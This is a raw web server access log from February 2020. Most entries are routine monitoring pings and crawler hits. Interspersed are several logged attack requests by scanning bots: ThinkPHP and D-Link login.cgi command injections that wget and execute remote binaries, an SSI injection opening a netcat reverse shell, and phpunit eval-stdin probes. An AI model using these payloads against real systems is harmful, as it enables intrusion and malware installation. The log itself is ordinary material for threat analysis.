212.91.246.72 - - [20/Feb/2020:11:52:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:53:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.242.24.90 - - [20/Feb/2020:11:54:01 +0100] "\x16\x03\x01\x01D\x01" 501 321 "-" "-"
212.91.246.72 - - [20/Feb/2020:11:54:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:55:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:56:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:57:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:58:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:11:59:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.42.194.51 - - [20/Feb/2020:12:00:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [20/Feb/2020:12:00:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:01:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:02:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [20/Feb/2020:12:02:55 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:12:03:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:04:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [20/Feb/2020:12:04:46 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:12:05:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:06:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
159.192.192.133 - - [20/Feb/2020:12:07:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:12:07:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:08:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:09:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:10:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:11:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:12:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.49.226.137 - - [20/Feb/2020:12:12:38 +0100] "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2037.49.226.137%2029312%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0" 404 322 "-" "-"
212.91.246.72 - - [20/Feb/2020:12:13:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:14:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:15:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:16:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:17:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.49.226.137 - - [20/Feb/2020:12:17:48 +0100] "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%2037.49.226.137%2029312%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0" 404 322 "-" "-"
213.170.247.207 - - [20/Feb/2020:12:18:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:12:18:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:19:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.179.145.8 - - [20/Feb/2020:12:20:14 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [20/Feb/2020:12:20:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:21:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:22:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:23:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:24:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.173.147.9 - - [20/Feb/2020:12:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0"
212.91.246.72 - - [20/Feb/2020:12:25:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:26:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.10.169.134 - - [20/Feb/2020:12:26:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
79.47.103.121 - - [20/Feb/2020:12:27:16 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
62.173.147.9 - - [20/Feb/2020:12:27:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0"
212.91.246.72 - - [20/Feb/2020:12:27:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.173.147.9 - - [20/Feb/2020:12:27:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0"
212.91.246.72 - - [20/Feb/2020:12:28:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:29:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.173.147.9 - - [20/Feb/2020:12:29:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0"
212.91.246.72 - - [20/Feb/2020:12:30:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:31:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.52.43.78 - - [20/Feb/2020:12:33:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:12:33:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:34:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.136.134.161 - - [20/Feb/2020:12:35:21 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [20/Feb/2020:12:35:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:36:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
62.173.147.9 - - [20/Feb/2020:12:37:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0"
212.91.246.72 - - [20/Feb/2020:12:37:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.46.90.120 - - [20/Feb/2020:12:37:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
220.130.21.230 - - [20/Feb/2020:12:38:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [20/Feb/2020:12:38:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:39:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:40:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:41:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:42:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.71.229.67 - - [20/Feb/2020:12:42:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [20/Feb/2020:12:43:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:44:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:45:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:46:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:47:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:48:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:49:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:50:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.62 - - [20/Feb/2020:12:51:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.132.35.203 - - [20/Feb/2020:12:51:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:12:51:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:52:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:53:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
98.128.217.99 - - [20/Feb/2020:12:53:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [20/Feb/2020:12:54:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:55:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:56:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:57:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:58:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:12:59:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:00:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:01:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.199.23 - - [20/Feb/2020:13:01:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
71.6.199.23 - - [20/Feb/2020:13:01:59 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
71.6.199.23 - - [20/Feb/2020:13:02:00 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
71.6.199.23 - - [20/Feb/2020:13:02:00 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
71.6.199.23 - - [20/Feb/2020:13:02:01 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.19.1"
212.91.246.72 - - [20/Feb/2020:13:02:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:03:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:04:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:05:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:06:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:07:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:08:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:09:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:10:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:11:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.67.59.115 - - [20/Feb/2020:13:12:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
46.4.83.150 - - [20/Feb/2020:13:12:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17"
212.91.246.72 - - [20/Feb/2020:13:12:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:13:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.78.200.231 - - [20/Feb/2020:13:13:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [20/Feb/2020:13:14:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.212.150 - - [20/Feb/2020:13:14:42 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
192.241.212.150 - - [20/Feb/2020:13:14:43 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
192.241.212.150 - - [20/Feb/2020:13:14:54 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
192.241.212.150 - - [20/Feb/2020:13:14:56 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
192.241.212.150 - - [20/Feb/2020:13:14:57 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [20/Feb/2020:13:15:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:16:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.114.149.10 - - [20/Feb/2020:13:17:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [20/Feb/2020:13:17:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.215 - - [20/Feb/2020:13:17:55 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.215 - - [20/Feb/2020:13:17:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [20/Feb/2020:13:18:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.212.150 - - [20/Feb/2020:13:18:51 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
58.189.208.61 - - [20/Feb/2020:13:18:57 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
192.241.212.150 - - [20/Feb/2020:13:19:03 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [20/Feb/2020:13:19:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:20:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:21:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
189.130.226.124 - - [20/Feb/2020:13:22:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:13:22:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.241.212.150 - - [20/Feb/2020:13:23:10 +0100] "GET /ReportServer HTTP/1.1" 404 317 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [20/Feb/2020:13:23:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:24:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:25:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.150.148.134 - - [20/Feb/2020:13:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:13:37:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:38:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:39:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.236.76.95 - - [20/Feb/2020:13:39:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.188.17.147 - - [20/Feb/2020:13:40:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [20/Feb/2020:13:40:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:41:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:42:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [20/Feb/2020:13:43:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
